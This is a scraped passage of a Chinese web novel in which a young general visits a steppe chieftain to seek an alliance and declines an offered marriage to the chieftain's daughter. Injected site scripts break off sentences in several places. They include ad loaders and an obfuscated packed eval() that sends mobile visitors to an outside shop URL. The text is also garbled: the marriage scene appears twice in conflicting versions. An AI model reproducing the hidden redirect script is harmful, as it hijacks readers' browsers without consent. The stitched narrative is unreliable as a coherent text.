江阮好似早就知道陈京观会开门见山地问,他缓缓放下手,将手又缩进了袖口,然后脸上如常挂着笑。 “少将军倒真不客气。行,那我便趁机来表表我的忠心。”江阮深吸一口气,缓缓开口,“你不是陈京观。” 短短几个字,足以让双方明了当前的情态。这世上知道他是谁的人不多,认为他还活着的更是少数,江阮如何能够如此笃定。陈京观的身子有些僵住了,那一刻他在脑海中设想了无数种江阮是如何得知自己真实身份的可能,只是均无果。 “江掌柜说笑了,那我是谁?” 陈京观故作镇定,保持着刚才的姿态开口问道。 “少将军,你觉得我会在没搞清楚你是谁之前就来找你吗?当真要我说出那个名字?” 江阮的语调微微上扬,脸上是抑不住的兴奋,陈京观有时觉得眼前的人是个疯子,仿佛自己的言行举止越能给别人带来震撼,他就越开心。 “好,那第二个问题呢?” 陈京观不再与江阮僵持,转而将话题移到了江阮身上。 “我本将心向明月,我自然不能让明月蒙尘。与他,我说了你的行踪,然后帮他改了兵器。” 江阮就是东亭来的。 一时间陈京观有些懊恼,而他的表情被江阮尽收眼底,他用肩膀微微碰了碰陈京观。 “那兵器,可还受用?” 既然已经成了盟友,陈京观也不能再拿江阮如何,但是他咽不下这口气。 “自然受用,若是没有董将军替我挡那一下,我如今就得躺着与江掌柜言语了。” 陈京观语气里的责怪没有丝毫掩饰,而江阮也听明白了他的意思,起身朝他拜了一拜。 “江某多谢少将军宽容。往后这些,悉数都是您的。” 见陈京观没有言语,江阮从腰间拿出一把匕首,二话不说就朝着自己的手心划去。 那道口子很深,刀尖离开时陈京观依稀还能看到里面淋漓的血肉,而江阮连眉头都没皱一下。他又看了看陈京观,可眼前的人依旧没有反应,他便拉起袖子又想来第二刀。 “行了。” 陈京观别过头,而江阮闻言只是笑了笑,将那带了血的匕首在自己的手帕上擦了擦,又用新帕子给伤口包扎,手法娴熟,不像是第一次做。但是他的动作还是让陈京观有些讶异,眼前的人似乎没有痛觉,手起刀落间毫不犹豫,反而是看到血的时候,他察觉出了他眼睛里闪烁着的光芒。 江阮简单处理了伤口,又将自己的手塞进了袖子里,仿佛刚才什么也没发生一般,接着说:“至于遏佐,我想着应该有更好的人选能克制他。” “恪多。” 陈京观听出了江阮的意思,而江阮也点头默认了他的话。 “少将军今日先休息,明日午后江某再来,我带你去恪多的大帐。” 说完,江阮整了整外衣,作势要走,而陈京观开口道:“你连西芥都有眼线?” 陈京观的话惹得江阮发笑,他停下了脚下的动作,开口时却带了些让陈京观有些不明所以的伤感。 “我一个孤儿要在这世上混口饭吃,伏低做小是常态,而人们对我这一套都很受用,所以只要我愿意低头,他们都愿意赏我口饭吃。这百家饭吃着吃着,大家彼此也都熟络了,而人认识得越多,网织得就越密,如此,我也就成了现在的江阮。不知道少将军,能否领会?” 江阮说话时每一字每一句都比平日要慢,他似乎是刻意要留给陈京观一个思量的时间,但其实他一开口,陈京观便知道了。 孤儿,谁又不是呢?不过他好在有宁渡护着,也算是没吃多少苦,但是这乱世没有几个如他这般幸运的,江阮应当就是其中一个。 “江掌柜,以后直呼我陈京观吧。” 陈京观朝着江阮的背影喊道,而他明显看到了那身影停顿了一下,随后江阮朝自己摆手,说道:“知道了,陈兄!以后也便叫我江阮吧。” 若说陈京观因为江阮偶然一次敞开心扉便认他做了朋友,这断然不可能,可是江阮愿意开口了,那陈京观便也愿意再等等,看他下一次是否依旧把自己当做朋友。 江阮走后,陈京观本意要再去巡守一圈,可耐不住薛磐和平芜两个人的软磨硬泡,到最后就连平海也来劝了,他也只好作罢,在平芜的“看守”下回到了帐子里休息。 大脑长时间的过度思考早就透支了他的精神,现如今刚沾到那榻上,他就没了意识。 不过许是因为劳累过度,他那一觉睡得并不好,频繁能梦到一个画面。 皑皑雪景中,一个小男孩赤着脚往前跑,他周身都没有人迹,可他却像被催着,后来不知被什么绊倒了,顷刻间情绪全然爆发,他就跪在那雪堆上开始嚎啕大哭,可是雪会收音,量他喊得再大声,陈京观也依旧听不清他嘴里的话。 那个男孩不是他,他也从没觉得自己在哪里见过这个画面,可那一切十分清楚的映照在他脑海里,让他总觉得该是自己经历过的。 就这样,虽说睡着,可是陈京观这一觉睡得越发疲惫,以至于第二日再见到江阮时,便被他调笑了。 “怎么,昨日我与你说的,让你夜不能寐了?你眼下的乌青都快顶上天上的日头了。” 江阮笑着,边说边掀开帘直接朝军帐里面走来,陈京观昨晚睡觉时压了胳膊,半夜平海还叫人给他换了药,如今他整个人打着赤膊,见江阮毫不顾忌地走进来,倒有些局促。 “你进他人屋子不需要征得主人同意吗,江掌柜?” 听着陈京观依旧叫着自己“江掌柜”,江阮也自然明白了他语气里那几分责问,他没说什么,只是顺手将架子上的里衣扔给陈京观,然后朝后转了转身。 “少将军金屋藏娇了,怕我坏了你好事?若非如此,你紧张什么?” 江阮语气里的笑意更浓,陈京观也不再理会他,匆忙穿好衣服就想往帐子外面走,可他还没迈步,江阮就拉住了他。 “好,今日是我唐突,我也是情急,没想到少将军能误了时间。” 江阮的话一出,陈京观眉头一皱,他顺着那虚掩着的帘子朝外望,只见外面天光一片好,已然看不出昨日阴云密布的样子了。 “现在几时?” 江阮轻轻挑眉,可说话时却带着一些装模作样的为难:“未时三刻,再迟些, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我们就该留在恪多的帐子里过夜了。” 听到江阮的话,陈京观两眼一黑,他是觉得自己这一觉睡的时间很长,可他只以为是因为做梦让他模糊了时间,可谁曾想他真的睡了一天一夜。 “走!” 陈京观伸手一把抓住桌上的刀便冲出帐子,而帐外的人好像没觉得有什么不妥,看他出来了也只是朝他行礼,平芜更是连蹦带跳地跑过来问候。 “师兄,你醒啦!我们刻意守着帐子不让别人吵你,不过那个姓江的旁若无人就冲进去了。” 平芜的语气里满是怨怼,而“姓江的”就跟着陈京观后面,平芜见了他有些心虚,稍稍朝陈京观贴近。 “师兄,你怎么和他走得这么近?我听哥说你本不待见他的。” 陈京观拍了拍平芜的肩,他自己也不知道该从何说起,昨日大家都忙着收拾战场,没有人注意到江阮的到来,而陈京观后来也忘了再和他们说一声便睡了,现如今这画面倒有些戏剧。 “呃,江掌柜以后是我们盟友,你小子不可以再那样说话了。还有,我要与他出去一趟,你看顾好董将军,让平海守着营地,明白了吗?” 说完,陈京观没有再给平芜继续问下去的时间,转身就走,留下平芜一个人在原地急得跳脚,后来薛磐来了他便去告状,而薛磐对这一消息倒不是很诧异,他看着走远的背影,默不作声。 “薛知州,你说师兄怎么和他混在一起了?” 平芜嘟囔着,脸上因为师兄刚才的训斥有些郁闷,薛磐将手里的糖糕递给他,那孩子便又展了笑颜。 “放心,你师兄最疼得还是你。他心里有自己的打算,让他去做吧,我们替他守好家。” 而出了营地的陈京观加快了挥鞭的速度,想要在路途上追回自己耽误掉的时间,反观江阮好似并不着急,他骑着马的动作不算太熟练,只能勉强跟上陈京观的步子。 “倒也不用这么赶,我本想着让你吃完饭再走的。” 陈京观听到江阮的话没有回头,继续目视前方边跑边说。 “我不想再因为自己的疏忽让大家等我了。” 江阮注意到了那个“再”字,但是他没有没有从这上面做文章,反倒是对陈京观刚在营地里的反应有些好奇,他快步向前赶了两下,尽量让自己的马头与陈京观的平齐,然后微微转头。 “那你为何没有怪你那些亲卫,替你看着时辰是他们的职责所在。” “因为他们不是我的亲卫,是兄弟。” 陈京观的话几乎没有犹豫,可他说完却顿了一下,随后继续说道:“我没告诉他们我已与你有约,他们也是出于好意想让我休息,若我在怪他们,是何道理?” 江阮闻言,笑而不语,只是稍稍伸手试图拉着些陈京观。 “那大善人,你能不能稍微慢些,我骑马的技术可没你好,到时候马没事,我先一步去了。” 听了江阮的话,陈京观没应他,可手上的动作确实是慢了一点,而他脸上的表情也不再如刚出发时紧绷,他稍微直了直身子,好让自己的胳膊舒服些。 “对了,刚才忘了给你,我托人制的药,专治刀伤箭伤。” 说罢,江阮在自己的袖袋里摸索着,然后递给陈京观一个小玉瓶,陈京观愣了一下,也没推辞便接下了。 “你信我?不觉得我给你的药有毒?” 江阮见他没有如往日一般再与自己迂回,便开口打趣道。而陈京观摇了摇头,将那玉瓶塞进了怀里。 “你说过,你对我绝对忠心。” 陈京观的话让江阮脸上的笑意停滞,他本想着或许眼前的人还会有什么语出惊人的表现,可短短一句话,倒是让他无话可说了。而陈京观没有理会江阮的迟钝,他怔了一下像是突然想到了什么。 “既然我对你如此信任了,那你能不能回答我一个问题?” 江阮有些了然地笑了,但是也没拒绝,他只听到陈京观继续说:“槐州的五月,用不着大氅了吧。” 闻言,江阮稍稍低头看了看自己身上的外衣,笑着开口道:“我小时候冻怕了,身上也落下许多毛病,除非是三伏天,不然我总觉得骨子里钻风。” 陈京观听了没再说什么,虽说江阮的话要听一半留一半,但是这句话他全信。 两人之后也不再言语,专心赶路。从槐州到恪多部最近的路要从克尔茶湖旁经过,他们两人倒也不显眼,很轻易就避开了遏佐的守兵。只是路过那片湖的时候,陈京观比以往的速度都要慢,他眼睛里印着湖光,江阮看不出他在想什么。但在那种情态下,他觉得自己不该张口,便也随着陈京观放慢了速度,沿着湖边走了过去。 “前面就是恪多的边卫营了,我们要等着人领我们进去。” 陈京观从克尔茶湖旁边路过后便一直心有所想,此刻江阮再说话,他也只是点头应了句“好”。 二人的马靠近边卫营时便被拦下,来接应他们的是一个颇有风韵的女子,她身着西芥的传统衣裙,头上的小辫随着她的骑马的幅度上下摆动,临近陈京观时才握住了缰绳,将马匹踏起来的沙土扬在眼前人的身上。 “走吧,我阿布等了许久了。” 25.初入西芥(一) 那女子的语气透露着不加掩饰的埋怨,而她的声音并非陈京观听惯了的南方软语,也与北梁的北方汉话有些不同,同时她的汉语亦没有西芥口音,声调高昂,中气十足,但是又并不会让人不觉得粗旷。 “是陈某疏忽,望大统领和别吉宽恕。” 语毕,陈京观缓缓俯身,将左手扶在肩上,这是西芥的礼法。而那女子见眼前的人非但没有因为自己的无礼而恼怒,反而称了自己一句“别吉”,顿然对此人有了兴趣。 “你怎知我的身份?” 那女子边说着边起身下马,将缰绳递到了旁边人的手里,站定在陈京观面前。 “别吉这等身姿,非寻常女子能有,陈某只一眼就能断定,您定然是女中豪杰,巾帼英雄。” 陈京观的话自然是夸张的成分偏多,可眼前的人确实不同于寻常的女子,许是生在草原长在草原的原因,她举手投足间更多了几分旷野的爽朗,但那并不会让她显得不懂规矩,从小在首领军帐里长大,她接受的也是如兄长一样的军规。 “我早就听说少将军能言善辩,今日一见果然名不虚传,在下沁格,见过少将军。” 沁格俯首向陈京观行礼,她的小辫子也随之垂了下来,刚才有些盛气临人的锋芒,都被她隐在了此时躬下的背脊里。 “还请别吉带我们去见大首领,我定当亲自赔罪。” 陈京观朝着沁格笑了笑,沁格也不再难为他,道了声“好”,领着他们朝营地深处走去。 恪多作为首领,部落领地是最大的,自然也是地理位置与环境最好的。虽说再朝北走就是腾里沙漠,可是等进到了这里,陈京观已经全然看不出荒漠的寥落。此处水草丰茂,远处是牧民的羊群和马场。 单论这的氛围,陈京观很喜欢,若不论其他,他甚至想长长久久住在这里。 “恪多首领治下百姓安居乐业,部族繁荣,当真是伟大的领袖。” 陈京观说着,瞥见走在他前面的沁格脸上溢满了笑,她从小就对自己的父亲满怀敬意,如今听了陈京观的恭维,就连行进的步子都更加轻快。 “到了,我阿布在里面备好了宴席,各位入座我便着人上菜。” 估摸走了一刻钟,陈京观看到了这营地里最气派的帐子,沁格微微朝他俯身辞别,他也趁机好好观察了一番眼前的景色。 那毡房不同于自己往日所住的军帐,也不似他平日去西芥时看到的帐子,那毡套上的羊毛看上去就价格不菲,顶篷毡上的花纹更是繁琐,针脚很密,可以看得出织工精湛的技艺,西芥的图腾玄鸟在澄黄的油布衬托下显得栩栩如生,配上迎风吹动的九纛,似要冲破平面的束缚一飞冲天。 而等着他进到里面,更觉得是别有洞天。但一进去他就看到了坐在中央的恪多,他的表情虽没显示出不满,可他这个人只是坐在那里,便让人觉得威严。陈京观也只好收起目光,轻轻探身行礼。 “在下南魏定远将军陈京观,今日路上误了时辰,未能如约前来,还望首领赎罪。” 说罢,陈京观压低了身子,连带着身边的江阮也愈发恭敬。而恪多看着眼前的二人,并没有去接陈京观的话茬,他摆了摆手示意他们坐到自己身边,然后用桌上的酒壶为二人斟酒。 西芥人豪爽,所用的器械也大都比汉人的更有份量,看着眼前那一满杯,或者称一满碗的酒,江阮的眉头稍稍皱起,他也不是不能喝酒,但是他察觉到了这杯酒里暗含的其他意思。而江阮明白的,陈京观自然也知晓了,只是他依旧保持着笑脸,双手端起桌上的酒,微微欠身,一口饮尽。 “少将军好酒量,就是不知你还能再饮几杯?” 陈京观的果断让恪多对眼前的人稍稍缓和了些颜色,他没等陈京观回答,不由分说地又向那酒杯里倒酒,只是这次稍微少了些。 陈京观望着眼前的酒,虽然依旧伸手去握,但是动作却顿了一下。他平日里也常和陆栖野喝酒,但多是小酌,为的是聊天,今日这正事还没开口,若真的醉了,倒是失了礼数。 “还请首领明示,依照西芥礼法陈某还要几杯才能恕罪?” 恪多闻言,不禁失笑,他端起桌上的杯子也喝了一口,然后用眼神示意陈京观。如今主人回了酒,自己自然也不能损了他的面子,陈京观便又是一口吞掉了杯中的酒。 若说刚才第一杯让他尝到了西芥烧酒的烈,那第二杯就勾得他有些烧心,本来就一天一夜没吃饭,如今胃里突然被酒精填满,他放下酒杯的时候暗暗握了握自己的手,以抑住体内翻涌的灼烧感。 “少将军还能喝吗?” 恪多又端着杯子抿了一口,然后偏过头看着陈京观,他看得出陈京观在硬撑,但是他想要他先服软。如若他此时服软了,等下的条件他就更好提了。 而恪多的心思陈京观了然于胸,可越是处在这样的情形下,他就越是撑着一口气。 “首领尽兴即可,陈某奉陪。” 陈京观此话一出,他身边的江阮倒是发出了一声冷笑,那声笑在此刻显得很不合时宜,不过倒是替陈京观解了围。 “不知江掌柜为何发笑?” 恪多手上的动作没有停,依旧为陈京观斟酒,但是他的目光却停留在了江阮身上,而后者微微低头,将酒杯端在手上把玩,许久之后才开口。 “大首领不讲究,往日我来,您可不用这么好的酒。果然还是江某人头衔不够,配不上。” 江阮说着,微微扬首将杯中的酒饮尽,随后将杯口倒扣,与陈京观的杯子换了位置。 “少将军前日刚受了伤,如今还在服药,若是酒淡了药性,怕是好不了了。少将军不好,平远军可无人能动得了。” 江阮话里有话,而恪多自然能听明白他的意思。想当初,江阮也是这样一个人骑着马跑过来投诚,从怀里递来了北梁澎州的营防图。 那时西芥正在与北梁协商分割岭扬江,北梁的国力在吞并东亭后急剧膨胀,他们本是要将整个岭扬江要去,可江阮的图,让恪多有了与北梁谈判的筹码。也是为此,恪多记住了这个二十岁的小子,也一直愿意卖给他面子。 “倒是我大意了,没看出少将军身体不适,”恪多虽这样说着,但是语气里却未带丝毫歉意,他端着桌上的酒杯一饮而尽,“来人,上菜!” 此时的陈京观稍稍缓过劲儿来,看着桌上那个倒扣着的酒杯,有些了然地笑了,他领江阮的情,却不想欠他的情,于是伸手又端着酒杯喝掉了其中的酒。 “今日之事确实怪我,索性首领宽宏大量没有治我的罪,三杯酒权当我自罚。至于我的伤,是我技不如人,不能成为我推脱的借口。” 陈京观语毕,微微俯首向恪多敬礼,他的脸上已经因为酒劲有些泛红,但是还不足以扰了他的理智,反而三杯酒下去了,他更有一种破釜沉舟的气势。 “好!不愧是能领兵入阙州的人,不是个空架子。” 恪多笑着,与此同时帐帘被掀开,沁格领着几个女子端着肉进来。沁格的穿着不同于刚才的马服,而是换上了更为华丽精致的衿裙,头发盘起,上面攒着珊瑚和玛瑙,更显出她与众不同的气质。 “我的女儿,我的明珠,你们应该见过了。” 恪多看见女儿,脸上的阴霾一扫而尽,他招了招手,一边朝沁格笑一边对身边的二人说,而沁格将手里的食物放到了父亲的面前,跪着为他整理用具。 “自然见过,别吉风姿绰约,远远望着便是草原最明媚的女郎。” 陈京观说着,稍稍侧身对来服侍的女子示意,那女子见状倾身向恪多请示,见首领没有言语,便缓步退出了帐篷。其余的几个仆从见状,也都识相地转身离开。 “尝尝,我西芥的羊肉可与你平日吃的不一样,肉瓷实,口感好。” 说完,恪多拍了拍自己身边的位置让女儿坐过来,沁格在父亲面前收敛了很多,脸上带着笑缩在了父亲身边。而陈京观将这一切都看在眼里,不知为何,他倒觉得有些唏嘘。他第一次觉得这华服倒也没多好看了,不如初见时沁格那一身马服来得飒爽。 “对了,我见少将军对我族的习俗很是熟络,可是来过?” 恪多的问话让陈京观回过神来,他微微笑着,见恪多已经动手分起盘中的羊肉,自己也就拿起了桌上的小刀。 “我少时在雍州长大,是马队的伙计,常能借着送货的便利到西芥来,久而久之也就学会了几句西芥话,与当地牧民聊天,平日做买卖,都没什么问题。” 恪多了然的点头,手上的动作依旧没停,他将分好的羊肉装在盘中,又将盐巴洒在上面,递给了沁格,而沁格含着笑,默默在父亲旁边小口地吃肉。 陈京观虽说是南方生的,可是长在边界,养出来一个北方胃,桌上炙羊肉的火候拿捏得恰到好处,而自己盘中的是羊排,更容易剔骨,他本想矜持一番,可喉咙里的酒味还没消,眼前的羊肉自然不能放过,于是他顾不得装模作样,大快朵颐起来。 看着陈京观竟然毫不拘束,恪多倒是喜闻乐见。往日南魏派来的使臣大多是老学究,一棍子打不出一个响屁,和他们说话费劲,看他们吃饭更费 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 劲,今日的陈京观刷新了恪多对于南魏的印象。 “等下有酥油和酸奶,能给你解解酒。” 陈京观应声抬头,只见恪多饶有兴趣地看着自己,他倒也不想再客套,回了恪多一个笑就继续吃饭。而江阮显然是吃不惯西芥的餐食,恪多见他如平日一样尝了尝就放下筷子,不禁打趣道:“这样一看,少将军倒是比江掌柜更像是我西芥的朋友。” “那江某也算是把事办成了。” 江阮的脑子很快,忙应承起恪多,言辞间透露出这顿饭吃够久了,也该进入正题了。恪多闻言,拿起桌上的绢子擦了擦手,侧身与沁格耳语,而后沁格就出了帐房。 “我让她去看着些厨房,女人家待在这里不合适。” 恪多的话说得很直接,而陈京观和江阮都没有应声,他们朝前推了推餐盘,门口的仆从见沁格出来了就进来将盘子收走。 此时的帐子里还弥漫着酒气和羊肉香,外面日头西斜,里面的温度也就低了几度,陈京观看到江阮轻轻拢了拢衣服,同时朝角落的炉子处退了退。 “我有一事……”,“不知大首领……”,帐子中央的两个人同时开口,听到彼此的话后又相视一笑,最后陈京观抬手示意恪多先说。 “我有一事想问,不知少将军觉得沁格如何?” 恪多此话一出,陈京观心里就料感不好,但是他表面上依旧保持着笑,嘴里恭维了几句,等着恪多的下文。 “沁格二十一了,以我部族的习俗,要嫁人了,可是,我不想让她待在西芥。”恪多顿了一下,抬眸盯着陈京观,“不知少将军可有婚配?” 果然不出所料,陈京观听闻恪多的话,面露难色没有言语,倒是恪多脸上沉了沉。 “想必少将军知道我西芥的婚俗,那也该明白我的心意。我是首领,可我也是父亲,我能给她名字,却不能给她自由。” 西芥女子没有姓名,即使在母家时也多是代称,等她们20岁一到,就会有媒人来说亲,她们嫁过去会有盛大的婚礼,可又因为西芥没有传统婚姻,她们这一生也就有可能要经历很多次这样的婚礼。 她们每次以客女的身份嫁到夫家,在为夫家生完孩子后孩子留在夫家,而她们会回到本家,而夫家会一直赡养她们,直到她们再次出嫁。如此一来,也就消除了任何家族靠姻亲联合的可能,从根本上维护了王室的不可动摇性。 可这样的制度之下,女子更多地成了部落的一个物件,一个用来炫耀的装饰,谁家的新妇好看、谁家的儿子更多,自然也就能拥有更高的价值。 恪多言辞恳切,闻者多要为之动容,可陈京观从中却察觉出一丝问题,他思虑再三才缓缓开口,换了个方式问道:“那首领如何知道沁格是否愿意?” 恪多没想到陈京观会这么问,一时间倒不知该如何回答,而陈京观抿了抿嘴,继续说:“您给不了她的不是自由,而是尊重。您该问问她的选择,况且我陈京观,自觉并非良婿。” 陈京观说完,嘴角溢出一抹苦笑,他这句话其实压在心里很久了,他觉得自己这辈子担子太多,若身边站一个人,会被自己这些担子压垮的。 倒不如一个人,无所依托,也就无所牵绊。 “少将军过谦了,我自然不会随便为女儿议婚。至于您说的她是否愿意,这就要看少将军的本事了,”恪多突然将话题一转,“沁格有封地,你若能娶到她,便能得到那块地,也就能得到我的支持。” 此刻,西芥婚俗的成因具像化,而陈京观只觉得有些嘲讽,明明是一心为了女儿,可话说出口,却更像是在做买卖,其实单论哪件事陈京观都能体会到恪多的良苦用心,但是将它们融在一起,他只觉得可笑。 “那首领的意思是,若我不能说服沁格,不能应了这婚约,您便视遏佐于不顾是吗?我想着,那遏佐才是沁格最大的危险吧。” 恪多的话说到那个份上了,陈京观自然也就不留情面了,他直言道出了恪多的担心,而恪多泰然的脸上闪过一丝凶狠,但很快又恢复如常。 “自然要管,可桥归桥路归路,你现在来找我联盟,是要我一同出兵,我若不应,难道遏佐就不会继续攻打槐州城了?我大可以等你们打到最后再出兵。当然,我到时候会还给你那两座城池,但你平远军的死活,可没有人惦念。” 姜还是老的辣,恪多完全没有被陈京观的话套住,很快找到了破局之法。而陈京观在来之前设想过恪多会提出多么无礼的要求,却不曾想到他这个要求,不仅无礼,甚至无理。 “我不嫁!” 26.初入西芥(二) 恪多的意图果然不出陈京观所料,可当他真正听到时还是觉得不可思议。而见陈京观没有回应,恪多脸上的神色沉了沉。 “我是首领,可我也是父亲,我能给她名字,却不能给她自由。不知少将军能否体会?” 对于西芥的婚俗陈京观略有耳闻,这里没有传统意义上的婚姻,女子到了二十岁便会有媒婆上门提亲,而她们将以客女的身份嫁到夫家,在为夫家生完孩子后便又会回到本家,从此与夫家形同陌路,她们在婚姻中得到的只有一场婚礼和一笔彩礼。而大多数女子的彩礼用光后,就会再次披上婚服,另作新妇。 恪多言辞恳切,可陈京观从中却察觉出一丝问题,他思虑再三才缓缓开口,换了个方式问道:“那沁格是否愿意?” 陈京观的问题一提出,恪多便不再做声,不过他的反应也替他做了回答。陈京观抿了抿嘴,继续说:“父母之命,媒妁之言,可沁格是西芥的别吉,她该有自己的选择。” 陈京观说完,却见恪多有些意味深长的望着自己。 “这就要看少将军的本事了。沁格有封地,你若能娶到她,便能得到那块地,也就能得到我的支持。” 原本陈京观还在感慨恪多的用心良苦,可他后面这句话一出,陈京观只觉得有些嘲讽。明明是一心为了女儿,可话说出口,却更像是在做买卖。 “那首领的意思是,若我不能说服沁格,不能应了这婚约,您便视遏佐于不顾是吗?我想着,那遏佐才是我们共同的敌人吧。” 恪多的话说到那个份上,陈京观自然也就不留情面,他直言道出了恪多的困境,而恪多脸上的表情依旧泰然自若。 “自然要管,可此刻遏佐的长枪指向的是你南魏的城门,你无论如何也要和他争一争参州,我大可以等你们打到最后再出兵,遏佐能想到的,我也能想到。于我而言,一场仗能够同时消磨你们两个的势力,也是一箭双雕的事情。” 姜还是老的辣,恪多完全没有被陈京观的话套住,而陈京观在来之前其实设想过恪多会提出让自己为难的要求,却不曾想到他这个要求,不仅无礼,甚至无理。 “于阿布而言,我竟然成了负累吗?” 帐子里剑拔弩张,而帐子外的沁格原本满心欢喜端着酥油茶过来,谁知在门口却听到了自己的名字。父亲说的一切她都理解,她甚至知道父亲为何要支开她。可当父亲将她变成一个条件时,她还是下意识想去为自己辩驳一句。 而这许是女儿第一次与自己这样讲话,恪多看着眼前的沁格,她眼里含着泪,脸上的胭脂晕作一片,就连镶满珠钗的发髻此时都散下一缕,叫人看着唯有怜惜。 可恪多没有回应她,倒也不是说他狠心,只是作为父亲的愧疚与作为首领的威严在此刻相互缠斗,让他不知道该如何安慰沁格。 “阿布说什么,便是什么吧。” 沁格尽力抑住喉咙里的酸涩,她保持着恭敬径直将手里的盘子放在了父亲桌上,却连一个抬眸都没留给恪多便转身出了帐子。而此时陈京观倒有些纳闷,他眼中的沁格,不该是会轻易低头的人。 “既然沁格没有异议,那这件事更好办了,不知少将军意下如何?” 见恪多依旧想要尽力拾起掉落一地的话语权,陈京观突然想笑,他缓缓起身,朝着恪多行西芥礼,随即开口。 “恕陈某福薄,应不了首领的美意。我自认并非良木,况且,别吉是自己的玄鸟,合该待在属于自己的天上。” 说罢,陈京观微微俯身,嘴角溢出一抹苦笑,这是他的托词,却也是他的真心话。从他决意为父平冤时起,他就做好了此生无所依托,亦无所牵绊的打算。而他等再抬头时望见了恪多的眼睛,那目光里满是被拒绝后的愠怒,只是陈京观此刻不想再理会了。 “今日多有叨扰,如今时候不早了,我与江阮怕是要即刻返程,不然若是槐州再遇猛虎,倒真顺了首领之意。” 陈京观的语气算不上客气,而角落里沉默许久的江阮此刻终于裹了裹身上的大氅,起身朝帐中走来。 “此事江某本不该多言,但毕竟江某也算是二位的搭桥人,如今这桥没搭成,万不希望两位就此生了嫌隙。”江阮分别瞧了眼前的两人一眼,又继续说,“二位对彼此的心意应当明了了,此事也不是一锤子的买卖,其中还有转圜的余地,待几日后再做商议也不迟。毕竟,遏佐轻易拿不下槐州,也轻易攻不进草原。” 江阮说话时最后一句的力度拿捏得很好,用一个遏佐便将他眼前两人捆在了一起,他说罢又瞧了瞧二人的神色,自知自己的话应该是有些效益便轻轻挑眉,跟着陈京观出了帐子。 “你觉得我该应?” 刚放下帘子,陈京观的声音就在江阮耳边响起,他没有立刻回答,只是跟在陈京观后面一同朝马厩走去,片刻之后,他才缓缓开口。 “你应与不应,你自己做主便好,毕竟无论是婚姻大事还是结交盟友,决定由你做,责任也由你抗,我只是牵线搭桥罢了。不过,”江阮思虑了一下,语气里满是调笑的意味,“你若是应了也大可以什么都不做,权当养了个宠物,将她放在宅子里或者为她修个别院。其实这样一来,与她也未必不是好事。” 江阮的话说得风轻云淡,可他那种无所谓的语气,叫陈京观听着就反感万分。 “若照你这么说,那我要你江掌柜做甚?酒是我自己喝的,人是我要娶的,仗还是我要打的,江掌柜要讨得这份功劳未免太容易了些。” 陈京观说着,却不禁思索起江阮最后那句话的含义,而江阮也不与他辩驳,笑着接受了他的讽刺。 只是等二人快到马厩的时候,隐约在暗处看到了刚才从帐子里跑出去的身影,她似乎在踌躇,又似乎有些不知所措,浑然不见了初逢时的威风凛凛。 “别吉这是有话要与某人说?那恐怕江某在此多有不便,你们聊,我去赏月。” 江阮见状先开腔,他嘴上说着,脸上的笑意却是藏不住的,陈京观闻言有些无语地瞥了他一眼,等着江阮走远了才对沁格说:“今日之事,我不会对外透露半个字,别吉自可放心。” 陈京观说完抿了抿嘴,见眼前的人依旧无言,他正思虑着还要说些什么,却听到沁格缓缓开口。 “少将军,拒绝了阿布?” 眼前的人站在马厩乌篷的遮盖下,陈京观看不清她脸上的表情,不过仅凭这短短几个字,他有些摸不清沁格的意思。 “你是觉得我不会拒绝?” 闻言,沁格点点头,半晌未动也再未开口,而陈京观如今走也不是留也不是,不过他正好有一肚子疑问,索性打算就在这问清楚。 “莫非别吉愿意将自己就这般嫁出去,换一个西芥与我的盟约? 陈京观的话说得直白,他见识过沁格的性子,他不觉得此刻再说些好听的话会有用,倒不如直接与她挑明事实,好让彼此都看透这桩婚事的底色。只是陈京观的话说完,便感觉到眼前的人身体一怔,随后就是一声轻笑。 “我自然不愿意。可我愿不愿意,重要吗?” 此刻陈京观才觉得自己从未认识过眼前的人,他没想到她会果决地认命,有些诧异地看着眼前的人,眉头微微皱起。而沁格的这句话像是她对自己最后的宣告,她见陈京观不再说话,便想要从他身侧离开。 “重要。” 陈京观的回答掷地有声,这或许是他今晚说过最坚定的一句话,他不知沁格为何会应,他的回答只是因为看到中午时分还如太阳一样明媚的人被慢慢消磨,他觉得惋惜。 “若婚姻大事你的意愿都不重要了,哪还有什么是重要的?” 陈京观知道自己的话沁格都听进去了,但此时眼前的人似乎已经下定了很大的决心,黑暗里她握着拳头的手紧了紧,开口道:“于西芥女子而言,自己的意愿,是最无足轻重的。” 沁格说话时低着头,周身充斥着认命后的无力感,而她声音里细微的颤抖还是被陈京观捕捉到了。 “可你明明也觉得你父亲将你视作筹码,你就甘心如此蹉跎一生?” 陈京观对于眼前的人有些看不透了,她好像浑身下上都是别扭的,是矛盾的,她的爽朗是真的,她的怯懦也是真的。 “父亲是好意,少将军是好人,而我作为恪多部的别吉,若能用我的婚事换一个盟约,甚至还能换我一个自由,这不是于我而言最好的结局嘛?” 沁格说着,竟还轻轻发笑,陈京观抬眼看着她,此时在月色的映照下沁格镀了一层白霜,那双眼睛看上去了无生气。 “自由?你所谓的自由就是在四方天里囚禁余生,从此再也看不到西芥的蓝天白云,再也不能骑马驰骋,你当真觉得这是自由?” 陈京观今日听了太多次自由,可他不明白怎么会有人看惯了旷野与无尽天,还愿意去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958751|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做笼中鸟。但是他的问题没有换来沁格的只言片语,他不知道她此时在想什么,但他知道他不会将玄鸟豢养作金丝雀。 “所以这是权衡之后的结果吗?”陈京观的话说到此处带着无法言说的冷漠,见沁格没有回应,他继续说道,“若我不喜欢你,你也不在乎吗?” 沁格听到这句话,不禁一颤。 喜欢,原来这世上有人论婚事时问得不是自己漂不漂亮,不是彼此登不登对,不是是否于夫家有所助力,而是喜欢,好轻易,却又好难得的字眼。 